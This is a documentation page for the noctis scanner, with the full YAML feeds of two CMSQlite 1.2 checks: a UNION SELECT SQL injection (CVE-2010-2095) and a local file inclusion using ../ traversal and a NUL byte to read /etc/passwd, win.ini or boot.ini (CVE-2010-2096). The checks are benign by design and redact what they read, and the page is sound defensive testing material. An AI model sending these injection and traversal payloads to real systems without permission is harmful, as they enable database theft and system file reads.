CMSQlite — 2 vulnerability checks

noctis ships 2 vulnerability checks for CMSQlite, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

CMSQlite index.php c Parameter SQL Injection

CVECVE-2010-2095
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/cmsqlite/CVE-2010-2095.yaml

CMSQlite 1.2 and earlier put the c parameter of index.php unquoted into the SQL query that reads the page title, description and keywords (and into the query that reads the article), allowing unauthenticated SQL injection: an attacker can read the whole database, including the administrator's name and password hash.

For each usual CMSQlite location (the web root, /cmsqlite, /cmsqlite10, /cms) whose index.php carries the CMSQlite marker, this check requests index.php with c set to an id matching no page followed by a UNION SELECT whose every column multiplies two random numbers, for the 3-column title query and then the 5- and 6-column article query. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Checks home_r.body for (?i)(>\s*CMSQlite\b|cmsqlite\.net)
  4. HTTP(S) request GET {{dir}}/index.php?c={{sc.q3}}
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/index.php?c={{sc.q5}}
  7. Parses / computes the next value with a Rhai script
  8. HTTP(S) request GET {{dir}}/index.php?c={{sc.q6}}
  9. Parses / computes the next value with a Rhai script
  10. Checks hit_dir for ^/ → finding QoD 97: CMSQlite index.php c Parameter SQL Injection (CVE-2010-2095)

References:

Feed source — tests/vulnerabilities/cmsqlite/CVE-2010-2095.yaml
# CMSQlite <= 1.2 — index.php "c" parameter SQL injection — CVE-2010-2095
#
# index.php (CMSQlite 1.2, SQLite back end) takes $contentId = $_GET['c'] and
# calls $HTML->printHead($contentId), which runs (MOPS-2010-029 advisory)
#     SELECT docTitle, docDesc, docKey FROM content WHERE id=$_contentId
# with the value neither quoted nor filtered, and prints docTitle in <title>
# (docDesc / docKey in the meta tags). The page body then reads the article
# with the same id from the content table (5 columns in the advisory's PoC,
# 6 in the original detection request).
#
# Detection (QoD 97), per candidate install dir whose index.php carries the
# CMSQlite marker:
#   c = 2-2 UNION ALL SELECT P,P,P-- x        (the 3-column printHead query)
#   then the same with 5 and 6 columns         (the content-table query)
#   with P = a*b for two random 6-digit numbers. id=2-2 matches no row, so the
#   page shows the union row: the product a*b, computed by the database and
#   never present in the request. Only integer arithmetic is used: no table is
#   read (the advisory/NASL payloads read "name || password FROM login"), no
#   quote is needed, nothing is written.
#
# Better than the source NASL:
#   - a database-computed value instead of reading the admin name and password
#     hash (">admin.*</" match): read-only, nothing secret in the reply, and
#     an installation whose admin is not called "admin" is no longer missed;
#   - the 3-column head query (the sink the advisory names) is tried first,
#     then 5 columns (advisory PoC) and 6 (NASL request), so a release whose
#     content table differs from the NASL's 6 columns is not missed;
#   - a page or honeypot echoing the request cannot match.
#
# CVSS: CVE-2010-2095 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_cmsqlite_sql_inj_n_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800789, GPL-2.0-only).
uid: da93ee34-c738-4f33-81a6-357389ba5dca
name: "CMSQlite index.php c Parameter SQL Injection (CVE-2010-2095)"
description: |
  CMSQlite 1.2 and earlier put the c parameter of index.php unquoted into the
  SQL query that reads the page title, description and keywords (and into the
  query that reads the article), allowing unauthenticated SQL injection: an
  attacker can read the whole database, including the administrator's name and
  password hash.

  For each usual CMSQlite location (the web root, /cmsqlite, /cmsqlite10, /cms)
  whose index.php carries the CMSQlite marker, this check requests index.php
  with c set to an id matching no page followed by a UNION SELECT whose every
  column multiplies two random numbers, for the 3-column title query and then
  the 5- and 6-column article query. The vulnerability is confirmed when the
  page returns the product computed by the database, which never appears in the
  request. No table data is read and nothing is written.
cves: [CVE-2010-2095]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [cmsqlite, sqli, union-based, sqlite, php, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2095"
  - "http://php-security.org/2010/05/15/mops-2010-029-cmsqlite-c-parameter-sql-injection-vulnerability/index.html"
  - "https://dl.packetstormsecurity.net/1005-exploits/MOPS-2010-029.pdf"
  # OpenVAS/Greenbone NASL 2010/gb_cmsqlite_sql_inj_n_dir_trav_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded c payloads ───────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let p = a + "*" + b;
      let pre = "2-2%20UNION%20ALL%20SELECT%20";
      let post = "--%20x";
      #{ want: "" + (a * b),
         expr: p,
         q3: pre + p + "," + p + "," + p + post,
         q5: pre + p + "," + p + "," + p + "," + p + "," + p + post,
         q6: pre + p + "," + p + "," + p + "," + p + "," + p + "," + p + post }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  - id: init-how
    action: set_var
    var_name: hit_how
    var_value: ""

  # ── Loop group: every following step runs once per install path ──────────
  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/cmsqlite", "/cmsqlite10", "/cms"]

  - id: init-is-cms
    action: set_var
    var_name: is_cms
    var_value: false

  - id: init-r3
    action: set_var
    var_name: r3
    var_value: {status: 0, body: ""}

  - id: init-r5
    action: set_var
    var_name: r5
    var_value: {status: 0, body: ""}

  - id: init-r6
    action: set_var
    var_name: r6
    var_value: {status: 0, body: ""}

  # ── Product gate: the CMSQlite marker on index.php ───────────────────────
  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    condition: 'hit_dir == ""'
    store_as: home_r

  - id: home-marker
    action: match
    source: home_r.body
    pattern: "(?i)(>\\s*CMSQlite\\b|cmsqlite\\.net)"
    condition: 'hit_dir == "" && home_r.status >= 200 && home_r.status < 500'
    on_match:
      set_vars:
        is_cms: true

  # ── 3 columns: printHead()'s title query ─────────────────────────────────
  - id: probe-3
    action: http_request
    method: GET
    path: "{{dir}}/index.php?c={{sc.q3}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'is_cms && hit_dir == ""'
    store_as: r3

  - id: check-3
    action: script
    condition: 'is_cms && hit_dir == ""'
    code: |
      let body = if type_of(r3.body) == "string" { r3.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: how-3
    action: set_var
    condition: 'hit_dir != "" && hit_how == ""'
    var_name: hit_how
    var_value: "index.php?c=2-2 UNION ALL SELECT {{sc.expr}},{{sc.expr}},{{sc.expr}}-- x (3-column title query) returned the database-computed value {{sc.want}}"

  # ── 5 columns: the article query (advisory layout) ───────────────────────
  - id: probe-5
    action: http_request
    method: GET
    path: "{{dir}}/index.php?c={{sc.q5}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'is_cms && hit_dir == ""'
    store_as: r5

  - id: check-5
    action: script
    condition: 'is_cms && hit_dir == ""'
    code: |
      let body = if type_of(r5.body) == "string" { r5.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: how-5
    action: set_var
    condition: 'hit_dir != "" && hit_how == ""'
    var_name: hit_how
    var_value: "index.php?c=2-2 UNION ALL SELECT {{sc.expr}} (x5 columns)-- x returned the database-computed value {{sc.want}}"

  # ── 6 columns: the article query (later layout) ──────────────────────────
  - id: probe-6
    action: http_request
    method: GET
    path: "{{dir}}/index.php?c={{sc.q6}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'is_cms && hit_dir == ""'
    store_as: r6

  - id: check-6
    action: script
    condition: 'is_cms && hit_dir == ""'
    code: |
      let body = if type_of(r6.body) == "string" { r6.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  - id: how-6
    action: set_var
    condition: 'hit_dir != "" && hit_how == ""'
    var_name: hit_how
    var_value: "index.php?c=2-2 UNION ALL SELECT {{sc.expr}} (x6 columns)-- x returned the database-computed value {{sc.want}}"

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "CMSQlite index.php c Parameter SQL Injection (CVE-2010-2095)"
        description: "An unauthenticated request to index.php with a c parameter carrying a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: c reaches the SQL query unquoted, so an attacker can read the whole database (including the administrator's name and password hash)."
        remediation: "Upgrade CMSQlite to a release later than 1.2, or remove the application (no longer maintained). Until then, block index.php requests whose c parameter is not a plain number."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: {{hit_how}}"
      stop: true

CMSQlite index.php mod Parameter Local File Inclusion

CVECVE-2010-2096
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/cmsqlite/CVE-2010-2096.yaml

Tests CMSQlite 1.2 and earlier for the unauthenticated local file inclusion in index.php, which includes template/<mod>.php with the mod parameter unchecked. For each usual CMSQlite location (/cmsqlite, the web root, /cmsqlite10, /cms) whose index.php carries the CMSQlite marker, the feed requests index.php with mod set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the .php suffix and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the inclusion. The NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off, so installs on newer PHP are not reported. A control request for an absent random file through the same parameter must not return any of these files and must get the same HTTP status, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/index.php
  2. Checks home_r.body for (?i)(>\s*CMSQlite\b|cmsqlite\.net)
  3. HTTP(S) request GET {{dir}}/index.php?c=1&mod=../../../../../../../../../../../etc/passwd%00
  4. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/index.php?c=1&mod=../../../../../../../../../../../windows/win.ini%00
  7. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  8. HTTP(S) request GET {{dir}}/index.php?c=1&mod=../../../../../../../../../../../boot.ini%00
  9. Checks bootini_r.body for (?i)\[boot loader\]
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{dir}}/index.php?c=1&mod=../{{ctrl_path}}%00
  12. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  13. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: CMSQlite index.php mod Parameter Local File Inclusion (CVE-2010-2096)
  14. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: CMSQlite index.php mod Parameter Local File Inclusion (CVE-2010-2096)

References:

Feed source — tests/vulnerabilities/cmsqlite/CVE-2010-2096.yaml
# CMSQlite <= 1.2 — index.php "mod" parameter local file inclusion — CVE-2010-2096
#
# index.php (CMSQlite 1.2) picks its template with (MOPS-2010-030 advisory)
#     $module = $_GET['mod'];                       // "index" when absent
#     if(file_exists("template/".$module.".php")){ include "template/".$module.".php"; }
#     else{ include "template/index.php"; }
# with no check on "mod" and no login. "../" sequences leave the template/
# folder, and a NUL byte (%00) cuts off ".php" on PHP < 5.3.4 with
# magic_quotes_gpc off, so any file the web server user can read is included
# (printed, or run if it holds PHP code).
#
# Detection (benign, read-only): GET
#   <dir>/index.php?c=1&mod=../../../../../../../../../../../etc/passwd%00
# (the advisory's request) and match the CONTENT of /etc/passwd in the reply;
# when nothing comes back, windows/win.ini, then boot.ini. QoD 75 (response
# analysis). %00 in the query goes out verbatim through http_request.
#
# Better than the source NASL (which only tests the c SQL injection, so this
# CVE was never actually checked):
#   - each install dir is gated on the CMSQlite marker of index.php, so the CVE
#     is not attributed to another product with an index.php?mod= flaw;
#   - a full passwd line is required (a uid-0 account not named root counts),
#     with win.ini / boot.ini fallbacks for Windows installs;
#   - a control request (same parameter, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files and with the same HTTP status; a blanket responder or a
#     honeypot keying a fake file on the file name or path suffix is not
#     reported (fail-closed: no control reply → no finding);
#   - the account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2010-2096 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_cmsqlite_sql_inj_n_dir_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.800789, GPL-2.0-only).
uid: 687f6ada-f280-42a0-9907-c6a34558573b
name: "CMSQlite index.php mod Parameter Local File Inclusion (CVE-2010-2096)"
description: |
  Tests CMSQlite 1.2 and earlier for the unauthenticated local file inclusion
  in index.php, which includes template/<mod>.php with the mod parameter
  unchecked. For each usual CMSQlite location (/cmsqlite, the web root,
  /cmsqlite10, /cms) whose index.php carries the CMSQlite marker, the feed
  requests index.php with mod set to a ../ sequence ending in etc/passwd and a
  NUL byte (%00) that cuts off the .php suffix and, when no passwd content
  comes back, windows/win.ini and then boot.ini. The content of the file in the
  reply confirms the inclusion. The NUL-byte cut only works on PHP before 5.3.4
  with magic_quotes_gpc off, so installs on newer PHP are not reported. A
  control request for an absent random file through the same parameter must
  not return any of these files and must get the same HTTP status, so a server
  that serves the same content on every request is not reported. Only
  world-readable system files are read. The account name (unless root),
  password field and gecos of the uid-0 line are redacted from the evidence.
cves: [CVE-2010-2096]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [cmsqlite, php, lfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2096"
  - "http://php-security.org/2010/05/15/mops-2010-030-cmsqlite-mod-parameter-local-file-inclusion-vulnerability/index.html"
  - "https://dl.packetstormsecurity.net/1005-exploits/MOPS-2010-030.pdf"
  # OpenVAS/Greenbone NASL 2010/gb_cmsqlite_sql_inj_n_dir_trav_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per CMSQlite location.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/cmsqlite", "", "/cmsqlite10", "/cms"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: init-is-cms
    action: set_var
    var_name: is_cms
    var_value: false

  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: ""}

  # ── Product gate: the CMSQlite marker on index.php ───────────────────────────
  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: home_r

  - id: home-markers
    action: match
    source: home_r.body
    pattern: "(?i)(>\\s*CMSQlite\\b|cmsqlite\\.net)"
    condition: "home_r.status >= 200 && home_r.status < 500"
    on_match:
      set_vars:
        is_cms: true

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/index.php?c=1&mod=../../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_cms"
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # script answered and the Linux read gave nothing ───────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?c=1&mod=../../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status != 0'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/index.php?c=1&mod=../../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
  # byte, so a honeypot that keys a fake file on that name or path suffix
  # answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/index.php?c=1&mod=../{{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "is_cms && ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "CMSQlite index.php mod Parameter Local File Inclusion (CVE-2010-2096)"
        description: "An unauthenticated request to index.php with the mod parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, and runs any PHP code found in an included file."
        remediation: "Upgrade CMSQlite to a release later than 1.2 or remove the application (no longer maintained), and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte. Until then, block requests whose mod parameter holds \"..\" or a NUL byte (%00)."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?c=1&mod=../../../../../../../../../../../etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "is_cms && ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "CMSQlite index.php mod Parameter Local File Inclusion (CVE-2010-2096)"
        description: "An unauthenticated request to index.php with the mod parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw includes any other file the web server user can read, and runs any PHP code found in an included file."
        remediation: "Upgrade CMSQlite to a release later than 1.2 or remove the application (no longer maintained), and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte. Until then, block requests whose mod parameter holds \"..\" or a NUL byte (%00)."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/index.php?c=1&mod=../../../../../../../../../../../{{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub